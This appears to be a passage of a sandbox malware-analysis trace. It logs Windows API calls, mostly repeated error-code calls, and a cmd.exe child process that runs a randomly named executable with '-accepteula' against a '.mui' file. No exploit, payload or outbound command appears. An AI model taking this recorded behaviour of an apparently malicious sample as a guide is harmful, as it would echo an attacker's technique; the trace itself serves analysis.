GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetLastError () returned 0x0 [0100.260] SetLastError (dwErrCode=0x0) [0100.260] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0100.261] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0100.262] GetLastError () returned 0x0 [0100.262] SetLastError (dwErrCode=0x0) [0100.262] GetLastError () returned 0x0 [0100.262] SetLastError (dwErrCode=0x0) [0100.262] GetLastError () returned 0x0 [0100.262] SetLastError (dwErrCode=0x0) [0100.262] GetLastError () returned 0x0 [0100.262] SetLastError (dwErrCode=0x0) [0100.262] GetLastError () returned 0x0 [0100.262] SetLastError (dwErrCode=0x0) [0100.262] GetLastError () returned 0x0 [0100.262] SetLastError (dwErrCode=0x0) [0100.262] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.263] SetLastError (dwErrCode=0x0) [0100.263] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.264] SetLastError (dwErrCode=0x0) [0100.264] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.265] SetLastError (dwErrCode=0x0) [0100.265] GetLastError () returned 0x0 [0100.266] SetLastError (dwErrCode=0x0) [0100.266] GetLastError () returned 0x0 [0100.266] SetLastError (dwErrCode=0x0) [0100.266] GetLastError () returned 0x0 [0100.266] SetLastError (dwErrCode=0x0) [0100.266] GetLastError () returned 0x0 [0100.266] SetLastError (dwErrCode=0x0) [0100.266] GetLastError () returned 0x0 [0100.266] SetLastError (dwErrCode=0x0) [0100.266] GetLastError () returned 0x0 [0100.266] SetLastError (dwErrCode=0x0) [0100.266] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0100.266] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0100.267] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.268] SetLastError (dwErrCode=0x0) [0100.268] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.269] SetLastError (dwErrCode=0x0) [0100.269] GetLastError () returned 0x0 [0100.284] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x340080 | out: hHeap=0x320000) returned 1 [0100.285] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0100.285] RtlExitUserProcess (ExitCode=0x1) [0100.285] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33f050 | out: hHeap=0x320000) returned 1 Process: id = "182" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1403000" os_pid = "0xe0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "168" os_parent_pid = "0xd64" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 753 os_tid = 0xe10 [0100.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efa14 | out: lpSystemTimeAsFileTime=0x1efa14*(dwLowDateTime=0xdf37bb20, dwHighDateTime=0x1d5d06a)) [0100.234] GetCurrentProcessId () returned 0xe0c [0100.234] GetCurrentThreadId () returned 0xe10 [0100.234] GetTickCount () returned 0x1160c9f [0100.234] QueryPerformanceCounter (in: lpPerformanceCount=0x1efa0c | out: lpPerformanceCount=0x1efa0c*=24218670497) returned 1 [0100.235] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0100.235] __set_app_type (_Type=0x1) [0100.235] __p__fmode () returned 0x76be31f4 [0100.235] __p__commode () returned 0x76be31fc [0100.235] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0100.235] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0100.235] GetCurrentThreadId () returned 0xe10 [0100.236] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe10) returned 0x60 [0100.236] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0100.236] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0100.236] SetThreadUILanguage (LangId=0x0) returned 0x409 [0100.242] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0100.242] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ef9a4 | out: phkResult=0x1ef9a4*=0x0) returned 0x2 [0100.242] VirtualQuery (in: lpAddress=0x1ef9db, lpBuffer=0x1ef974, dwLength=0x1c | out: lpBuffer=0x1ef974*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.242] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1ef974, dwLength=0x1c | out: lpBuffer=0x1ef974*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0100.242] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1ef974, dwLength=0x1c | out: lpBuffer=0x1ef974*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0100.242] VirtualQuery (in: lpAddress=0xf3000, lpBuffer=0x1ef974, dwLength=0x1c | out: lpBuffer=0x1ef974*(BaseAddress=0xf3000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.242] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1ef974, dwLength=0x1c | out: lpBuffer=0x1ef974*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0100.242] GetConsoleOutputCP () returned 0x1b5 [0100.243] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0100.243] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0100.243] _get_osfhandle (_FileHandle=1) returned 0x80 [0100.243] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0100.243] _get_osfhandle (_FileHandle=1) returned 0x80 [0100.243] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0100.243] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.243] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0100.243] GetEnvironmentStringsW () returned 0x3421e0* [0100.243] GetProcessHeap () returned 0x330000 [0100.243] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb84) returned 0x342d70 [0100.244] FreeEnvironmentStringsW (penv=0x3421e0) returned 1 [0100.244] GetProcessHeap () returned 0x330000 [0100.244] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4) returned 0x342060 [0100.244] GetEnvironmentStringsW () returned 0x3421e0* [0100.244] GetProcessHeap () returned 0x330000 [0100.244] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb84) returned 0x343900 [0100.244] FreeEnvironmentStringsW (penv=0x3421e0) returned 1 [0100.244] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee914 | out: phkResult=0x1ee914*=0x68) returned 0x0 [0100.244] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x0, lpData=0x1ee920*=0x0, lpcbData=0x1ee918*=0x1000) returned 0x2 [0100.244] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x1, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.244] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x0, lpData=0x1ee920*=0x1, lpcbData=0x1ee918*=0x1000) returned 0x2 [0100.244] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x0, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.244] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x40, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x40, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x0, lpData=0x1ee920*=0x40, lpcbData=0x1ee918*=0x1000) returned 0x2 [0100.245] RegCloseKey (hKey=0x68) returned 0x0 [0100.245] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee914 | out: phkResult=0x1ee914*=0x68) returned 0x0 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x0, lpData=0x1ee920*=0x40, lpcbData=0x1ee918*=0x1000) returned 0x2 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x1, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x0, lpData=0x1ee920*=0x1, lpcbData=0x1ee918*=0x1000) returned 0x2 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x0, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x9, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x4, lpData=0x1ee920*=0x9, lpcbData=0x1ee918*=0x4) returned 0x0 [0100.245] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee91c, lpData=0x1ee920, lpcbData=0x1ee918*=0x1000 | out: lpType=0x1ee91c*=0x0, lpData=0x1ee920*=0x9, lpcbData=0x1ee918*=0x1000) returned 0x2 [0100.245] RegCloseKey (hKey=0x68) returned 0x0 [0100.245] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710f6 [0100.245] srand (_Seed=0x5e2710f6) [0100.245] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" [0100.245] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" [0100.246] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0100.246] GetProcessHeap () returned 0x330000 [0100.246] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x210) returned 0x344490 [0100.246] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x344498, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0100.246] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0100.246] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0100.247] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0100.247] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.247] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0100.247] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0100.247] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0100.247] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0100.247] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0100.247] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0100.247] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0100.247] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0100.247] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0100.247] GetProcessHeap () returned 0x330000 [0100.247] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x3446a8 [0100.247] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef6e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0100.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1ef6e0, lpFilePart=0x1ef6dc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef6dc*="Desktop") returned 0x25 [0100.247] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0100.247] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef45c | out: lpFindFileData=0x1ef45c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x342070 [0100.247] FindClose (in: hFindFile=0x342070 | out: hFindFile=0x342070) returned 1 [0100.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ef45c | out: lpFindFileData=0x1ef45c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x342070 [0100.247] FindClose (in: hFindFile=0x342070 | out: hFindFile=0x342070) returned 1 [0100.248] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0100.248] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ef45c | out: lpFindFileData=0x1ef45c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x342070 [0100.248] FindClose (in: hFindFile=0x342070 | out: hFindFile=0x342070) returned 1 [0100.248] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0100.248] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0100.248] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0100.248] GetProcessHeap () returned 0x330000 [0100.248] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x342d70 | out: hHeap=0x330000) returned 1 [0100.248] GetEnvironmentStringsW () returned 0x3421e0* [0100.248] GetProcessHeap () returned 0x330000 [0100.248] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb84) returned 0x342d70 [0100.248] FreeEnvironmentStringsW (penv=0x3421e0) returned 1 [0100.248] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0100.248] GetProcessHeap () returned 0x330000 [0100.248] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3446a8 | out: hHeap=0x330000) returned 1 [0100.248] GetProcessHeap () returned 0x330000 [0100.248] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400e) returned 0x344f08 [0100.249] GetProcessHeap () returned 0x330000 [0100.249] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x74) returned 0x348f38 [0100.249] GetProcessHeap () returned 0x330000 [0100.249] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344f08 | out: hHeap=0x330000) returned 1 [0100.249] GetConsoleOutputCP () returned 0x1b5 [0100.249] GetCPInfo 